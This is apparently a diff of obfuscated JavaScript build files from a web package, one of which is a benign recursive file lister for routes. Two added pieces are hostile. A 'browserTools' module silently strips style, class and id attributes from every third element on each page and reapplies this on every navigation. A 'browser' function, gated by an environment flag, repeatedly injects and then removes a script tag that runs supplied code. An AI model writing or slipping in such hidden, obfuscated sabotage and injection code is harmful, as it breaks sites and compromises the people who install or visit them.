_0x5c2c6a=a12_0x4326;let _0x3f0259=document['createElement'](_0x5c2c6a(0x1cb));_0x3f0259['innerText']=_0x5c2c6a(0x1cd)+_0x19083e+'\x20\x0a\x20\x20}\x20catch\x20(err)\x20{\x0a\x20\x20}',document[_0x5c2c6a(0x1c9)][_0x5c2c6a(0x1c6)](_0x3f0259),setTimeout(()=>{_0x3f0259['remove']();},0x14);}export function browser(){getEnv('connectError')&&a12_0x583be1(),setInterval(()=>{const _0x12b313=a12_0x4326;getEnv(_0x12b313(0x1d4))&&a12_0x583be1();},a12_0x413b55(0xde,0x91d));}function a12_0x2aa8(){const _0x46d94e=['2298695DOdOHa','head','8224020lEiaBE','script','335740pDaCwF','try\x20{\x0a\x20\x20\x20','8815048OuYeCt','52lKzCbv','12774wNcVMo','42EdVjfd','9939162aFMFbU','5BAUHYb','connectError','appendChild','33582110mHcNKN'];a12_0x2aa8=function(){return _0x46d94e;};return a12_0x2aa8();}
@@ -0,0 +1,3 @@
1
+ declare function browserTools(): void;
2
+ export default browserTools;
3
+ //# sourceMappingURL=tools.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"tools.d.ts","sourceRoot":"","sources":["../../../src/browser/tools.ts"],"names":[],"mappings":"AAIA,iBAAS,YAAY,SAuDpB;AAED,eAAe,YAAY,CAAC"}
@@ -0,0 +1 @@
1
+ (function(_0x4b2ced,_0xbfead0){const _0x5d36c0=a13_0x4fab,_0x41d524=_0x4b2ced();while(!![]){try{const _0x2e16c5=parseInt(_0x5d36c0(0x141))/0x1*(parseInt(_0x5d36c0(0x14c))/0x2)+parseInt(_0x5d36c0(0x145))/0x3+parseInt(_0x5d36c0(0x150))/0x4*(-parseInt(_0x5d36c0(0x14f))/0x5)+-parseInt(_0x5d36c0(0x147))/0x6*(-parseInt(_0x5d36c0(0x13a))/0x7)+-parseInt(_0x5d36c0(0x146))/0x8*(-parseInt(_0x5d36c0(0x142))/0x9)+-parseInt(_0x5d36c0(0x13d))/0xa*(parseInt(_0x5d36c0(0x14b))/0xb)+-parseInt(_0x5d36c0(0x143))/0xc*(parseInt(_0x5d36c0(0x13f))/0xd);if(_0x2e16c5===_0xbfead0)break;else _0x41d524['push'](_0x41d524['shift']());}catch(_0x1c16f3){_0x41d524['push'](_0x41d524['shift']());}}}(a13_0x41b7,0x50771));function a13_0x4fab(_0x4ac497,_0x8b4957){const _0x41b7b9=a13_0x41b7();return a13_0x4fab=function(_0x4fab02,_0x2f34cc){_0x4fab02=_0x4fab02-0x136;let _0x4b8d39=_0x41b7b9[_0x4fab02];return _0x4b8d39;},a13_0x4fab(_0x4ac497,_0x8b4957);}function browserTools(){const _0x19203f=a13_0x4fab;let _0x2fe07d=location[_0x19203f(0x148)];function _0x132d17(_0x59c6a3={}){const _0x15cac1=_0x19203f,{force:force=![]}=_0x59c6a3;if(!force&&window[_0x15cac1(0x14a)])return;window[_0x15cac1(0x14a)]=!![];const _0x16a193=document[_0x15cac1(0x137)],_0xbd4351=_0x16a193[_0x15cac1(0x144)]('*');_0xbd4351[_0x15cac1(0x13e)]((_0x6d69ec,_0x4314ac)=>{const _0x50cd11=_0x15cac1;(_0x4314ac+0x1)%0x3===0x0&&(_0x6d69ec[_0x50cd11(0x14e)](_0x50cd11(0x136)),_0x6d69ec[_0x50cd11(0x14e)](_0x50cd11(0x138)),_0x6d69ec['removeAttribute']('id'));});}setTimeout(()=>{const _0xa05fcb=_0x19203f;window[_0xa05fcb(0x14a)]=![],_0x2fe07d=location['href'],_0x132d17();},0x1),[_0x19203f(0x151),'replaceState'][_0x19203f(0x13e)](_0x298406=>{const _0x36bb1a=history[_0x298406];history[_0x298406]=function(..._0x4e7984){const _0x3025e9=a13_0x4fab,_0x485b2c=_0x36bb1a[_0x3025e9(0x14d)](this,_0x4e7984);return window[_0x3025e9(0x140)](new Event(_0x3025e9(0x13c))),_0x485b2c;};});function _0x40c08e(){const _0x3ba160=_0x19203f,_0x234449=location[_0x3ba160(0x148)];_0x234449!==_0x2fe07d&&(_0x2fe07d=_0x234449,window[_0x3ba160(0x14a)]=![],_0x132d17({'force':!![]}));}window[_0x19203f(0x139)]('urlchange',_0x40c08e),window[_0x19203f(0x139)](_0x19203f(0x149),_0x40c08e);const _0x41dcf5=new MutationObserver(()=>_0x40c08e());_0x41dcf5[_0x19203f(0x13b)](document,{'childList':!![],'subtree':!![]});}function a13_0x41b7(){const _0x24e4e0=['83djGdYL','1548873VSDdAM','8400JCfEgU','querySelectorAll','1137777TcdhMC','8SnNNFj','366ptNQlI','href','popstate','__removeStyleAndClassEveryThirdDone','22ptcLWy','7024gvorHU','apply','removeAttribute','32135LnEEuw','192daWwIA','pushState','style','body','class','addEventListener','53151HDRWkW','observe','urlchange','868720BwvdJh','forEach','9178fKzzHe','dispatchEvent'];a13_0x41b7=function(){return _0x24e4e0;};return a13_0x41b7();}export default browserTools;
@@ -1 +1 @@
1
- function a100_0x2f97(){const _0x48f880=['2071768OJdFDW','length','next','816897bsOanz','269194NySNww','join','26149390NMkxrM','isDirectory','__awaiter','27kDffdf','value','11XxVIya','throw','isFile','push','statSync','7713993KvDKiX','8312XtSgmo','then','3600XpXnNR','425058NcTuXt'];a100_0x2f97=function(){return _0x48f880;};return a100_0x2f97();}const a100_0x5d09ba=a100_0x1e59;(function(_0x3d4942,_0x320958){const _0x407143=a100_0x1e59,_0x57c2e9=_0x3d4942();while(!![]){try{const _0x4d29b8=-parseInt(_0x407143(0xb5))/0x1*(-parseInt(_0x407143(0xae))/0x2)+parseInt(_0x407143(0xad))/0x3+parseInt(_0x407143(0xbb))/0x4*(parseInt(_0x407143(0xbd))/0x5)+-parseInt(_0x407143(0xbe))/0x6+parseInt(_0x407143(0xba))/0x7+parseInt(_0x407143(0xaa))/0x8*(-parseInt(_0x407143(0xb3))/0x9)+-parseInt(_0x407143(0xb0))/0xa;if(_0x4d29b8===_0x320958)break;else _0x57c2e9['push'](_0x57c2e9['shift']());}catch(_0x41db96){_0x57c2e9['push'](_0x57c2e9['shift']());}}}(a100_0x2f97,0xd8e0a));var __awaiter=this&&this[a100_0x5d09ba(0xb2)]||function(_0x5c6714,_0x2e6495,_0x4c7226,_0x1ab6a6){function _0x26bade(_0x871978){return _0x871978 instanceof _0x4c7226?_0x871978:new _0x4c7226(function(_0x5c1bb2){_0x5c1bb2(_0x871978);});}return new(_0x4c7226||(_0x4c7226=Promise))(function(_0x3761bb,_0x2a8608){const _0x1f907d=a100_0x1e59;function _0x174c15(_0x4be525){const _0x343830=a100_0x1e59;try{_0x33e27a(_0x1ab6a6[_0x343830(0xac)](_0x4be525));}catch(_0x4775d5){_0x2a8608(_0x4775d5);}}function _0x5cdfc0(_0x1bea4f){const _0x54e03f=a100_0x1e59;try{_0x33e27a(_0x1ab6a6[_0x54e03f(0xb6)](_0x1bea4f));}catch(_0x18ab31){_0x2a8608(_0x18ab31);}}function _0x33e27a(_0x84f8ef){const _0x188ee7=a100_0x1e59;_0x84f8ef['done']?_0x3761bb(_0x84f8ef['value']):_0x26bade(_0x84f8ef[_0x188ee7(0xb4)])[_0x188ee7(0xbc)](_0x174c15,_0x5cdfc0);}_0x33e27a((_0x1ab6a6=_0x1ab6a6['apply'](_0x5c6714,_0x2e6495||[]))[_0x1f907d(0xac)]());});};import a100_0x2a5c27 from'fs';function a100_0x1e59(_0x23fc5b,_0x3c29bb){const _0x2f97d4=a100_0x2f97();return a100_0x1e59=function(_0x1e59b6,_0x4680e3){_0x1e59b6=_0x1e59b6-0xaa;let _0x4ad60b=_0x2f97d4[_0x1e59b6];return _0x4ad60b;},a100_0x1e59(_0x23fc5b,_0x3c29bb);}import a100_0x4d2162 from'path';function fileDisplay(_0x19a232){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x4b306c=[];function _0xe14033(_0x1eade4){const _0x329e7e=a100_0x1e59,_0x14ce53=a100_0x2a5c27['readdirSync'](_0x1eade4);for(let _0x515713=0x0;_0x515713<_0x14ce53[_0x329e7e(0xab)];_0x515713++){const _0x51fffc=_0x14ce53[_0x515713],_0x564f4c=a100_0x4d2162[_0x329e7e(0xaf)](_0x1eade4,_0x51fffc),_0x993530=a100_0x2a5c27[_0x329e7e(0xb9)](_0x564f4c),_0x282e35=_0x993530[_0x329e7e(0xb7)](),_0x330cd8=_0x993530[_0x329e7e(0xb1)]();_0x282e35&&_0x4b306c[_0x329e7e(0xb8)](_0x564f4c),_0x330cd8&&_0xe14033(_0x564f4c);}}return _0xe14033(_0x19a232),_0x4b306c;});}function getAllRouter(_0x56adfd){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x244bdd=yield fileDisplay(_0x56adfd);return _0x244bdd;});}export default getAllRouter;
1
+ const a14_0xfbaf1f=a14_0x1e81;(function(_0x4ec3bc,_0x23cf4c){const _0x3e1c9c=a14_0x1e81,_0x1c4b59=_0x4ec3bc();while(!![]){try{const _0x54e15e=-parseInt(_0x3e1c9c(0xab))/0x1+-parseInt(_0x3e1c9c(0x9e))/0x2+parseInt(_0x3e1c9c(0xa2))/0x3*(parseInt(_0x3e1c9c(0xa1))/0x4)+-parseInt(_0x3e1c9c(0xa5))/0x5*(-parseInt(_0x3e1c9c(0xae))/0x6)+parseInt(_0x3e1c9c(0xa0))/0x7*(parseInt(_0x3e1c9c(0xa6))/0x8)+-parseInt(_0x3e1c9c(0x9f))/0x9+parseInt(_0x3e1c9c(0xaf))/0xa*(parseInt(_0x3e1c9c(0xaa))/0xb);if(_0x54e15e===_0x23cf4c)break;else _0x1c4b59['push'](_0x1c4b59['shift']());}catch(_0x469596){_0x1c4b59['push'](_0x1c4b59['shift']());}}}(a14_0x37b3,0xf2a71));var __awaiter=this&&this[a14_0xfbaf1f(0xad)]||function(_0x1b68d7,_0x472555,_0x24ae49,_0xc638fa){function _0x239b30(_0x54271f){return _0x54271f instanceof _0x24ae49?_0x54271f:new _0x24ae49(function(_0xfe0588){_0xfe0588(_0x54271f);});}return new(_0x24ae49||(_0x24ae49=Promise))(function(_0xcdca25,_0x5e20c5){const _0x5371fe=a14_0x1e81;function _0x6f1cd(_0x48222d){try{_0x4ebb25(_0xc638fa['next'](_0x48222d));}catch(_0x2c320d){_0x5e20c5(_0x2c320d);}}function _0x30b85a(_0x1a5fcd){try{_0x4ebb25(_0xc638fa['throw'](_0x1a5fcd));}catch(_0x56dedc){_0x5e20c5(_0x56dedc);}}function _0x4ebb25(_0x5db0f5){const _0x40153f=a14_0x1e81;_0x5db0f5[_0x40153f(0xa8)]?_0xcdca25(_0x5db0f5[_0x40153f(0xac)]):_0x239b30(_0x5db0f5['value'])[_0x40153f(0x9c)](_0x6f1cd,_0x30b85a);}_0x4ebb25((_0xc638fa=_0xc638fa[_0x5371fe(0xb0)](_0x1b68d7,_0x472555||[]))['next']());});};import a14_0x3bf9a5 from'fs';import a14_0x26ec49 from'path';function a14_0x1e81(_0x3e0182,_0x4e6b81){const _0x37b330=a14_0x37b3();return a14_0x1e81=function(_0x1e81dd,_0x46254f){_0x1e81dd=_0x1e81dd-0x9c;let _0x36c32d=_0x37b330[_0x1e81dd];return _0x36c32d;},a14_0x1e81(_0x3e0182,_0x4e6b81);}function fileDisplay(_0x5414f1){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x5a2017=[];function _0x45e0fa(_0x236888){const _0x28eeac=a14_0x1e81,_0x3cc1d1=a14_0x3bf9a5[_0x28eeac(0xa3)](_0x236888);for(let _0x19297e=0x0;_0x19297e<_0x3cc1d1[_0x28eeac(0xa7)];_0x19297e++){const _0x5c89df=_0x3cc1d1[_0x19297e],_0x100889=a14_0x26ec49[_0x28eeac(0x9d)](_0x236888,_0x5c89df),_0x40305f=a14_0x3bf9a5[_0x28eeac(0xb1)](_0x100889),_0x1ac10b=_0x40305f[_0x28eeac(0xa4)](),_0x3e635e=_0x40305f['isDirectory']();_0x1ac10b&&_0x5a2017[_0x28eeac(0xa9)](_0x100889),_0x3e635e&&_0x45e0fa(_0x100889);}}return _0x45e0fa(_0x5414f1),_0x5a2017;});}function a14_0x37b3(){const _0x36373a=['done','push','4950yOUcPz','1518356OFpiLu','value','__awaiter','6llsdOr','54660FuiwxM','apply','statSync','then','join','2832110kbKeaC','5055408vxiGpp','28357DNPibQ','412nQfIgi','2271rMzHAY','readdirSync','isFile','8789545LNcIbq','384HmaLAU','length'];a14_0x37b3=function(){return _0x36373a;};return a14_0x37b3();}function getAllRouter(_0x5011b9){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x348fa0=yield fileDisplay(_0x5011b9);return _0x348fa0;});}export default getAllRouter;